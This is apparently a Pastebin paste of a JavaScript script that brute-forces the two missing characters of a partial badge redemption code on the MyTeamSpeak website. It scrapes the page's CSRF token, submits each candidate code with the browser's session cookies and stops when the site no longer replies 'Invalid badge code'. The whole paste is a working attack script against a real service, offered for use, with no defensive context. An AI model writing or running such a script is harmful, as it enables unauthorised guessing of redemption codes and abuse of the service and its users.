Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- class BruteForce {
- constructor(code) {
- this.code = code
- this.chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
- this.url = "https://www.myteamspeak.com/userarea/badges/redeem"
- this.unknowns = code.split("").filter(s => s === "?").length
- this.count = Math.pow(this.chars.length, this.unknowns)
- this.checked = 0
- this.current = new Array(this.unknowns).fill(0)
- this.done = false
- this.found = false
- }
- send(data) {
- return fetch(this.url, {
- method: "POST",
- credentials: "include",
- headers: { "Content-Type": "application/x-www-form-urlencoded" },
- body: BruteForce.encodeBody(data),
- })
- }
- getCode(increment = false) {
- let str = this.code
- this.current.forEach(i => str = str.replace("?", this.chars[i]))
- if (!increment) return str
- this.checked++
- this.done = !this.current.reverse().some((c, i) => {
- return (c >= this.chars.length-1) ? (this.current[i] = 0, false) : (this.current[i]++, true)
- })
- this.current.reverse()
- return str
- }
- async getToken() {
- const data = await fetch(this.url).then(res => res.text())
- const match = data.match(/<input\sname="_token"\stype="hidden"\svalue="(?<token>[a-z0-9]{40})">/i)
- if (!match) throw new Error("No valid Redeem Form token found!")
- return match.groups.token
- }
- static encodeBody(data) {
- return Object.keys(data)
- .map(k => `${encodeURIComponent(k)}=${encodeURIComponent(data[k])}`)
- .join("&")
- }
- async run() {
- if (this.done) return this.found
- while (!this.done) {
- const code = this.getCode(true)
- const res = await this.send({ _token: await this.getToken(), ts_redeem_code: code })
- if (res.status !== 200) {
- console.error(`returned with invalid status code! got ${res.status}!`)
- return false
- }
- if (this.checked % 10 === 0) console.log(`${this.checked}/${this.count} - ${(100/this.count*this.checked).toFixed(2)}% done`)
- if (!(/Invalid badge code/).test(await res.text())) {
- this.found = code
- return code
- }
- }
- return false
- }
- }
- const bruteforce = new BruteForce("AHQH4TL7??")
- bruteforce.current = [0, 0]
- bruteforce.checked = 0
- ;(async () => {
- const result = await bruteforce.run()
- console.log("current", bruteforce.current)
- console.log("checked", bruteforce.checked)
- if (result) {
- console.log(`Possible token found: ${result}`)
- } else {
- console.log("No token found!")
- }
- })()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement